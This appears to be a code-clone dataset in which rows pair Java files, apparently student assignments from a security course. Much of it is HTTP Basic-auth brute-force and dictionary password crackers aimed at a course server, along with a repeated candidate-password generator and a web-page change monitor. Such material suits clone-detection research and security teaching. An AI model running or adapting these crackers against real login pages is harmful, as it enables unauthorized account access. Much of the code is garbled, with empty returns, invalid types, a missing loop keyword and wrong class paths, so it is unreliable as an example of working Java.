v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
151.java | 207.java | 0 |
import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class BruteForce {
String passwordLetters[] ={"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};
String password=" ";
static int counter;
static int noOfAttempts;
static String userName="";
HttpURLConnection u;
boolean threadF,threadM;
String passBase64;
PasswordCrackThreadF passwordCrackThreadF;
PasswordCrackThreadM passwordCrackThreadM;
URL url;
public BruteForce() {
breakPassword();
}
public static void main (String args[]) {
new BruteForce();
}
private void breakPassword() {
int j;
breakOneLetterPassword();
breakTwoLetterPassword();
passwordCrackThreadF = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);
passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);
passwordCrackThreadF.print();
passwordCrackThreadM.print();
}
private void breakOneLetterPassword() {
MyHttpURLConnection httpURLConnection;
try {
url = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u = (HttpURLConnection)url.openConnection();
u.setRequestProperty("Authorization", " " + passBase64);
} catch (IOException io) {io.printStackTrace();}
loop: for (int i=0;i<52;i++) {
password = passwordLetters[i];
password =":"+ password;
try {
u= (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
u.connect();
noOfAttempts++;
if (u.getContentLength() != 0) {
if (u.getResponseCode()== HttpURLConnection.HTTP_OK ) {
System.out.println ("Your User Name : Password is "+password);
System.out.println(" ");
System.out.println(" of Attempts / Requests "+ noOfAttempts);
System.exit(0);
}
}
} catch (ProtocolException px) {px.printStackTrace();
} catch ( NoRouteToHostException nr) {nr.printStackTrace();
} catch (BindException e){e.printStackTrace();
} catch (IndexOutOfBoundsException e3){e3.printStackTrace();
} catch (IOException io) {io.printStackTrace();
} finally {u.disconnect();
}
}
}
private void breakTwoLetterPassword() {
MyHttpURLConnection httpURLConnection;
try {
url = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u = (HttpURLConnection)url.openConnection();
u.setRequestProperty("Authorization", " " + passBase64);
} catch (IOException io) {io.printStackTrace();}
loop: for (int i=0;i<52;i++) {
for (int j=0;j<52;j++) {
password = passwordLetters[i]+passwordLetters[j];
password =":"+ password;
try {
u= (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
u.connect();
noOfAttempts++;
if (u.getContentLength() != 0) {
if (u.getResponseCode()== HttpURLConnection.HTTP_OK ) {
System.out.println ("Your User Name : Password is "+password);
System.out.println(" ");
System.out.println(" of Attempts / Requests "+ noOfAttempts);
System.exit(0);
}
}
} catch (ProtocolException px) {px.printStackTrace();
} catch ( NoRouteToHostException nr) {nr.printStackTrace();
} catch (BindException e){e.printStackTrace();
} catch (IndexOutOfBoundsException e3){e3.printStackTrace();
} catch (IOException io) {io.printStackTrace();
} finally {u.disconnect();
}
}
}
}
}
class PasswordCrackThreadF extends Thread {
private String passwordLetters[] ;
private String password=" ";
private static String userName="";
private MyHttpURLConnection httpURLConnection;
private URL url;
BruteForce bruteForce;
int count;
String passBase64;
private HttpURLConnection u;
int start,stop;
static boolean found;
PasswordCrackThreadF(int start,int stop,int counter,String[]
passwordLetters,String userName,BruteForce bruteForce) {
this.start = start;
this.stop = stop;
this.passwordLetters =passwordLetters;
this.userName=userName;
count =counter;
this.bruteForce=bruteForce;
bruteForce.threadF=true;
passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());
try {
url = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
u = (HttpURLConnection)url.openConnection();
u.setRequestProperty("Authorization", " " + passBase64);
} catch (IOException io) {io.printStackTrace();}
}
public synchronized void run() {
outer : for (int i=0; i<stop;i++) {
for (int j=0;j<52;j++) {
for (int k=0;k<52;k++) {
password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
password =":"+ password;
while (!(bruteForce.threadF)) {
try { wait(1); }
catch (InterruptedException e){}
}
if (found)
System.exit(0);
try {
u = (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
u.connect();
BruteForce.noOfAttempts++;
if (u.getContentLength() != 0) {
if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {
found=true;
System.out.println ("Your User Name : Password is "+password+
" "+ " Found by Thread "+count);
System.out.println(" ");
System.out.println(" of Attempts / Requests "+ BruteForce.noOfAttempts);
System.exit(0);
}
}
} catch (ProtocolException px) {px.printStackTrace();
} catch ( NoRouteToHostException nr){k--;
nr.printStackTrace();
} catch (BindException e){e.printStackTrace();
} catch (IndexOutOfBoundsException e3){e3.printStackTrace();
} catch (IOException io) {io.printStackTrace();
} finally {u.disconnect();
}
bruteForce.threadF=false;
bruteForce.threadM=true;
notifyAll();
}
}
System.out.println("End");
}
}
}
class PasswordCrackThreadM extends Thread {
private String passwordLetters[] ;
private String password=" ";
private static String userName="";
private MyHttpURLConnection httpURLConnection;
private URL url;
String passBase64;
private URLAuthenticator urlAuthenticator = new URLAuthenticator(userName);
BruteForce bruteForce;
int count;
private HttpURLConnection u;
int start,stop;
static boolean found;
PasswordCrackThreadM(int start,int stop,int counter,String[]
passwordLetters,String userName,BruteForce bruteForce) {
this.start = start;
this.stop = stop;
this.passwordLetters =passwordLetters;
this.userName=userName;
count =counter;
this.bruteForce=bruteForce;
try {
url = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
u = (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
} catch (IOException io) {io.printStackTrace();}
}
public synchronized void run() {
outer : for (int i=0; i<stop;i++) {
for (int j=0;j<52;j++) {
for (int k=0;k<52;k++) {
password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
password=":"+password;
while (!(bruteForce.threadM)) {
try { wait(1); }
catch (InterruptedException e){}
}
if (found)
System.exit(0);
try { u = (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
u.connect();
BruteForce.noOfAttempts++;
if (u.getContentLength() != 0) {
if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {
found=true;
System.out.println ("Your User Name : Password is "+password+
" "+ " Found by Thread "+count);
System.out.println(" ");
System.out.println(" of Attempts / Requests "+ BruteForce.noOfAttempts);
System.exit(0);
}
}
} catch (ProtocolException px) {px.printStackTrace();
} catch ( NoRouteToHostException nr){k--;
nr.printStackTrace();
} catch (BindException e){e.printStackTrace();
} catch (IndexOutOfBoundsException e3){e3.printStackTrace();
} catch (IOException io) {io.printStackTrace();
} finally {u.disconnect();
}
bruteForce.threadF=true;
bruteForce.threadM=false;
notifyAll();
}
}
System.out.println("End");
}
}
}
class URLAuthenticator extends Authenticator {
private String uName;
String passwd;
static char[] password;
public URLAuthenticator(String uName) {
this.uName = uName;
}
public void setPassword(String passwd) {
this.passwd=passwd;
password=passwd.toCharArray();
}
public PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(uName,password);
}
}
class MyHttpURLConnection extends HttpURLConnection {
public MyHttpURLConnection(URL url) {
super(url);
}
public void disconnect() {
}
public boolean usingProxy() {
return true;
}
public void connect() {
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
165.java | 207.java | 0 |
package java.httputils;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.sql.Timestamp;
public class HttpRequestClient
{
protected URL serverURL;
protected java.net.HttpURLConnection httpConnection;
protected Timestamp start;
protected Timestamp end;
protected StringBuffer content = new StringBuffer();
protected int millis;
protected int code;
public HttpRequestClient(String url)
throws MalformedURLException, IOException
{
setServerURL(new URL(url));
setStart(new Timestamp(System.currentTimeMillis()));
setHttpConnection(
(HttpURLConnection)this.getServerURL().openConnection());
doRequest();
}
public HttpRequestClient()
{
super();
}
public int doRequest()
throws IOException
{
String retVal = null;
int url = HttpURLConnection.HTTP_UNAUTHORIZED;
BufferedInputStream stream = null;
try
{
stream s = new BufferedInputStream(getHttpConnection().getInputStream());
s= getHttpConnection().getResponseCode();
if (s == HttpURLConnection.HTTP_UNAUTHORIZED)
{
return s;
}
int c = -1;
while ((c = stream.get()) != -1)
{
getContent().append((char)c);
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
catch (IOException e)
{
this.setCode(getHttpConnection().getResponseCode());
throw e;
}
finally
{
if (stream != null) stream.close();
}
return ;
}
public static void main(String[] args)
{
HttpRequestClient client = null;
try
{
client = new HttpRequestClient(args[0]);
}
catch (MalformedURLException e)
{
e.printStackTrace();
}
catch (IOException e)
{
e.printStackTrace();
}
finally
{
if (client != null)
{
System.out.println(
"Request processing time (milliseconds): " +
(client.getEnd().getTime() - client.getStart().getTime()));
System.out.println(
"Request content: \n" + client.getContent());
}
}
}
public HttpURLConnection getHttpConnection()
{
return httpConnection;
}
public URL getServerURL()
{
return serverURL;
}
public void setHttpConnection(java.net.HttpURLConnection connection)
{
httpConnection = connection;
}
public void setServerURL(URL url)
{
serverURL = url;
}
public StringBuffer getContent()
{
return content;
}
public Timestamp getEnd()
{
return end;
}
public Timestamp getStart()
{
return ;
}
public void setContent(StringBuffer buffer)
{
content = buffer;
}
public void setEnd(Timestamp timestamp)
{
end = timestamp;
}
public void setStart(Timestamp timestamp)
{
start = timestamp;
}
public getMillis()
{
return getEnd().getTime() - getStart().getTime();
}
public int getCode()
{
return code;
}
public void setCode(int i)
{
code = i;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
170.java | 207.java | 0 | package java.httputils;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;
public class Dictionary extends BruteForce
{
protected String wordFile;
public Dictionary()
{
super();
}
public static void main(String[] args)
{
Dictionary dictionary = new Dictionary();
if (args.length < 3)
{
System.out.println(dictionary.printUsage());
}
else
{
dictionary.setURL(args[0]);
dictionary.setUserName(args[1]);
dictionary.setWordFile(args[2]);
if (args.length > 3)
{
dictionary.setFileName(args[3]);
}
dictionary.process();
System.out.println(dictionary.printResult());
System.exit(1);
}
}
public void process()
{
attempts = 0;
String password = "";
setStart(new Timestamp(System.currentTimeMillis()));
BufferedReader input = null;
try
{
FileReader file = new FileReader(getWordFile());
input = new BufferedReader(file);
}
catch (FileNotFoundException x)
{
System.err.println("File not found: " + getWordFile());
System.exit(2);
}
try
{
while ((password = input.readLine()) != null)
{
try
{
attempts++;
BasicAuthHttpRequest req =
new BasicAuthHttpRequest(
getURL(),
getUserName(),
password);
setPassword(password);
setEnd(new Timestamp(System.currentTimeMillis()));
setContent(req.getContent().toString());
if (getFileName() != null
&& getFileName().length() > 0)
{
createReport();
}
return;
}
catch (MalformedURLException e)
{
e.printStackTrace();
return;
}
catch (IOException e)
{
}
}
}
catch (IOException x)
{
x.printStackTrace();
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
public String printUsage()
{
StringBuffer s = new StringBuffer();
s.append("** BruteForce proper usage **\n\n");
s.append(
"java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\n\n");
return s.toString();
}
public String getWordFile()
{
return wordFile;
}
public void setWordFile(String string)
{
wordFile = string;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
199.java | 207.java | 0 |
import java.*;
import java.io.*;
import java.util.*;
public class Dictionary
{
public String[] passwds;
public int passwdNum;
public static void main(String[] args) throws IOException
{
Dictionary dic=new Dictionary();
dic.doDictionary();
System.exit(1);
}
void doDictionary() throws IOException
{
Runtime rt=Runtime.getRuntime();
passwds=new String[32768];
passwdNum=0;
time1=new Date().getTime();
try
{
File f = new File ("words");
FileReader fin = new FileReader (f);
BufferedReader buf = new BufferedReader(fin);
passwds[0]="00";
System.out.println(" loading words....");
{
passwds[passwdNum]=buf.readLine();
passwdNum++;
}while(passwds[passwdNum-1]!=null);
System.out.println("Finish loading words.");
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
} catch (IOException exc) {
System.out.println ("IOException 1");
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
}
System.out.println(" cracking....");
for(int i=0;i<passwdNum;i++)
{
try
{
Process p=rt.exec("lynx -auth=:"+passwds[i]+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("Password is "+passwds[i]);
break;
}
} catch (FileNotFoundException exc) {
i--;
} catch (IOException exc) {
i--;
} catch (NullPointerException exc) {
i--;
}
}
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
110.java | 207.java | 0 |
import java.io.BufferedReader;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintStream;
import java.net.MalformedURLException;
import java.net.URL;
public class Watchdog {
static final String LOGON_SITE = WatchdogPropertyHelper.getProperty("logonSite");
static final String PREVIOUS_FILE_NAME = WatchdogPropertyHelper.getProperty("previousFileName");
static final String CURRENT_FILE_NAME = WatchdogPropertyHelper.getProperty("currentFileName");
static final String TIME_IN_MILLS = WatchdogPropertyHelper.getProperty("timeInMilliseconds");
static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");
static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");
static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");
static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");
private static final String COMMAND = WatchdogPropertyHelper.getProperty("unixCommand");
public static void main(String[] args) {
System.out.println(" Monitoring the Web : "+ LOGON_SITE);
System.out.println("The output of this is written the file: "+ PREVIOUS_FILE_NAME);
System.out.println("The webpage monitored every: "+ TIME_IN_MILLS+ " milliseconds");
Watchdog watchdog = new Watchdog();
watchdog.accessWebPage(LOGON_SITE);
}
public void accessWebPage( String urlString ) {
BufferedReader reader = null;
BufferedReader readerNew = null;
String data = null;
FileOutputStream out = null;
FileOutputStream outNew = null;
PrintStream p = null;
PrintStream pNew = null;
URL url = null;
while (true) {
try {
out = new FileOutputStream(PREVIOUS_FILE_NAME);
p = new PrintStream( out );
url = new URL(urlString);
reader = new BufferedReader (new InputStreamReader(url.openStream()));
while (( data = reader.readLine()) != null ) {
p.println(data);
}
System.out.println("Completed writing the output the file: "+ PREVIOUS_FILE_NAME);
}
catch (MalformedURLException mfue) {
mfue.printStackTrace();
}
catch (IOException ioe) {
ioe.printStackTrace();
}
finally {
p.close();
}
try {
System.out.println("Sleeping for : "+ TIME_IN_MILLS+ " milliseconds");
Thread.sleep(Integer.valueOf(TIME_IN_MILLS).intValue());
outNew = new FileOutputStream(CURRENT_FILE_NAME);
pNew = new PrintStream(outNew);
readerNew = new BufferedReader (new InputStreamReader(url.openStream()));
while (( data = readerNew.readLine()) != null ) {
pNew.println(data);
}
System.out.println("Completed writing the output the file: "+ PREVIOUS_FILE_NAME);
}
catch (MalformedURLException mfue) {
mfue.printStackTrace();
}
catch (IOException ioe) {
ioe.printStackTrace();
}
catch (InterruptedException e) {
e.printStackTrace();
}
finally {
pNew.close();
}
InputStream inputStream = null;
int count = 0;
System.out.println(" comparing the the current content with the previous content ");
System.out.println("Executing the command: " + COMMAND);
try {
Process process = Runtime.getRuntime().exec(COMMAND);
process.waitFor();
inputStream = process.getInputStream();
} catch (Exception e) {
System.out.println("Error Executing the command: " + COMMAND+ "\n " + e.toString());
}
try {
count = inputStream.available();
if (count > 0) {
byte[] buffer = new byte[count];
inputStream.read(buffer);
String stdout = new String(buffer);
System.out.println("The following changes has occured in the web ");
System.out.println(stdout);
Mailsend.send(SMTP_SERVER, RECIPIENT_EMAIL, SENDER_EMAIL, MESSAGE_HEADER, stdout);
}
else {
System.out.println(" has been change the site");
}
} catch (Exception g) {
System.out.println("Exception: " + g.toString());
}
}
}
public Watchdog() {
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
